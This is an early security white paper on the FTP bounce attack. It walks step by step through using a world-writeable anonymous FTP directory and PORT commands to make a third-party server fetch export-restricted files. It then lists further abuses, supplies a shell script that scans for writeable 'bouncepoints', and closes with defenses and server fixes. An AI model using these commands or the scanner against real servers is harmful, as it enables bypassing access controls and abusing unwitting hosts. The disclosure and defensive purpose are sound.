COMMAND
ftp
PROBLEM
This discusses one of many possible uses of the "FTP server bounce
attack". The mechanism used is probably well-known, but to date
interest in detailing or fixing it seems low to nonexistent. This
particular example demonstrates yet another way in which most
electronically enforced "export restrictions" are completely useless
and trivial to bypass. It is chosen in an effort to make the reader
sit up and notice that there are some really ill-conceived aspects of
the standard FTP protocol.
Thanks also to Alain Knaff at imag.fr for a brief but entertaining
discussion of some of these issues a couple of months ago which got
me thinking more deeply about them.
The motive
==========
You are a user on foreign.fr, IP address F.F.F.F, and want to
retrieve cryptographic source code from crypto.com in the US. The
FTP server at crypto.com is set up to allow your connection, but deny
access to the crypto sources because your source IP address is that
of a non-US site [as near as their FTP server can determine from the
DNS, that is]. In any case, you cannot directly retrieve what you
want from crypto.com's server.
However, crypto.com will allow ufred.edu to download crypto sources
because ufred.edu is in the US too. You happen to know that
/incoming on ufred.edu is a world-writeable directory that any
anonymous user can drop files into and read them back from.
Crypto.com's IP address is C.C.C.C.
The attack
==========
This assumes you have an FTP server that does passive mode. Open an
FTP connection to your own machine's real IP address [not localhost]
and log in. Change to a convenient directory that you have write
access to, and then do:
quote "pasv"
quote "stor foobar"
Take note of the address and port that are returned from the PASV
command, F,F,F,F,X,X. This FTP session will now hang, so background
it or flip to another window or something to proceed with the rest of
this.
Construct a file containing FTP server commands. Let's call this
file "instrs". It will look like this:
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
F,F,F,F,X,X is the same address and port that your own machine
handed you on the first connection. The trash at the end is extra
lines you create, each containing 250 NULLS and nothing else, enough
to fill up about 60K of extra data. The reason for this filler is
explained later.
Open an FTP connection to ufred.edu, log in anonymously, and cd to
/incoming. Now type the following into this FTP session, which
transfers a copy of your "instrs" file over and then tells
ufred.edu's FTP server to connect to crypto.com's FTP server using
your file as the commands:
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
Crypto.tar.Z should now show up as "foobar" on your machine via your
first FTP connection. If the connection to ufred.edu didn't die by
itself due to an apparently common server bug, clean up by deleting
"instrs" and exiting. Otherwise you'll have to reconnect to finish.
Discussion
==========
There are several variants of this. Your PASV listener connection
can be opened on any machine that you have file write access to --
your own, another connection to ufred.edu, or somewhere completely
unrelated. In fact, it does not even have to be an FTP server -- any
utility that will listen on a known TCP port and read raw data from
it into a file will do. A passive-mode FTP data connection is simply
a convenient way to do this.
The extra nulls at the end of the command file are to fill up the
TCP windows on either end of the ufred -> crypto connection, and
ensure that the command connection stays open long enough for the
whole session to be executed. Otherwise, most FTP servers tend to
abort all transfers and command processing when the control
connection closes prematurely. The size of the data is enough to
fill both the receive and transmit windows, which on some OSes are
quite large [on the order of 30K]. You can trim this down if you
know what OSes are on either end and the sum of their default TCP
window sizes. It is split into lines of 250 characters to avoid
overrunning command buffers on the target server -- probably academic
since you told the server to quit already.
If crypto.com disallows *any* FTP client connection from you at
foreign.fr and you need to see what files are where, you can always
put "list -aR" in your command file and get a directory listing of
the entire tree via ufred.
You may have to retrieve your command file to the target's FTP
server in ASCII mode rather than binary mode. Some FTP servers can
deal with raw newlines, but others may need command lines terminated
by CRLF pairs. Keep this in mind when retrieving files to daemons
other than FTP servers, as well.
Other possbilities
==================
Despite the fact that such third-party connections are one-way only,
they can be used for all kinds of things. Similar methods can be
used to post virtually untraceable mail and news, hammer on servers
at various sites, fill up disks, try to hop firewalls, and generally
be annoying and hard to track down at the same time. A little
thought will bring realization of numerous other scary possibilities.
Connections launched this way come from source port 20, which some
sites allow through their firewalls in an effort to deal with the
"ftp-data" problem. For some purposes, this can be the next best
thing to source-routed attacks, and is likely to succeed where source
routing fails against packet filters. And it's all made possible by
the way the FTP protocol spec was written, allowing control
connections to come from anywhere and data connections to go
anywhere.
Defenses
========
There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying
"fix all the FTP servers" is the wrong answer. But you can protect
your own against both being a third-party bouncepoint and having
another one used against you.
The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated
from. This does not prevent the above attack, of course, since the
PASV listener could just as easily be on ufred.edu and thus meet that
requirement, but it does prevent *your* site from being a potential
bouncepoint. It also breaks the concept of "proxy FTP", but hidden
somewhere in this paragraph is a very tiny violin.
The next obvious thing is to prohibit FTP control connections that
come from reserved ports, or at least port 20. This prevents the
above scenario as stated.
Both of these things, plus the usual poop about blocking
source-routed packets and other avenues of spoofery, are necessary to
prevent hacks of this sort. And think about whether or not you
really need an open "incoming" directory.
Only allowing passive-mode client data connections is another
possibility, but there are still too many FTP clients in use that
aren't passive-aware.
"A loose consensus and running code"
====================================
There is some existing work addressing this available here at
avian.org [and has been for several months, I might add] in the
"fixkits archive". Several mods to wu-ftpd-2.4 are presented, which
includes code to prevent and log attempts to use bogus PORT commands.
Recent security fixes from elsewhere are also included, along with
s/key support and various compile-time options to beef up security
for specific applications.
Stan Barber at academ.com is working on merging these and several
other fixes into a true updated wu-ftpd release. There are a couple
of other divergent efforts going on. Nowhere is it claimed that any
of this work is complete yet, but it is a start toward something I
have had in mind for a while -- a network-wide release of
wu-ftpd-2.5, with contributions from around the net. The wu-ftpd
server has become very popular, but is in sad need of yet another
security upgrade. It would be nice to pull all the improvements
together into one coordinated place, and it looks like it will
happen. All of this still won't help people who insist on running
vendor-supplied servers, of course.
Sanity-checking the client connection's source port is not implemented
specifically in the FTP server fixes, but in modifications to Wietse's
tcp-wrappers package since this problem is more general. A simple
PORT option is added that denies connections from configurable ranges
of source ports at the tcpd stage, before a called daemon is
executed.
Some of this is pointed to by /src/fixkits/README in the anonymous FTP
area here. Read this roadmap before grabbing other things.
Notes
=====
Adding the nulls at the end of the command file was the key to
making this work against a variety of daemons. Simply sending the
desired data would usually fail due to the immediate close signaling
the daemon to bail out.
If WUSTL has not given up entirely on the whole wu-ftpd project,
they are keeping very quiet about further work. Bryan O'Connor
appears to have many other projects to attend to by now...
This is a trivial script to find world-writeable and ftp-owned
directories and files on a unix-based anonymous FTP server. You'd be
surprised how many of those writeable "bouncepoints" pop out after a
short run of something like this. You will have to later check that
you can both PUT and GET files from such places; some servers protect
uploaded files against reading. Many do not, and then wonder why
they are among this week's top ten warez sites...
#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
} '
rm xxx.$$
I suppose one could call this a white paper. It is up for grabs at
avian.org in /random/ftp-attack as well as being posted in various
relevant places.